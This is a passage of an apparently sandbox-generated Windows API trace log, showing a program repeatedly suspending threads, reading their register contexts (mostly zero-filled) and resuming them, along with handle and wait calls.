[40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.730] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.730] CloseHandle (hObject=0x1ac) returned 1
	[0276.730] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.770] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.770] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.770] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.770] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.809] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.809] CloseHandle (hObject=0x1ac) returned 1
	[0276.809] SetEvent (hEvent=0x190) returned 1
	[0276.809] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.809] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.809] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.810] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.810] CloseHandle (hObject=0x1ac) returned 1
	[0276.810] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.811] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.811] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0276.811] SwitchToThread () returned 1
	[0276.812] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.812] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.888] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.888] CloseHandle (hObject=0x1b4) returned 1
	[0276.888] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0276.888] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.888] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.889] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.889] CloseHandle (hObject=0x1b4) returned 1
	[0276.889] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
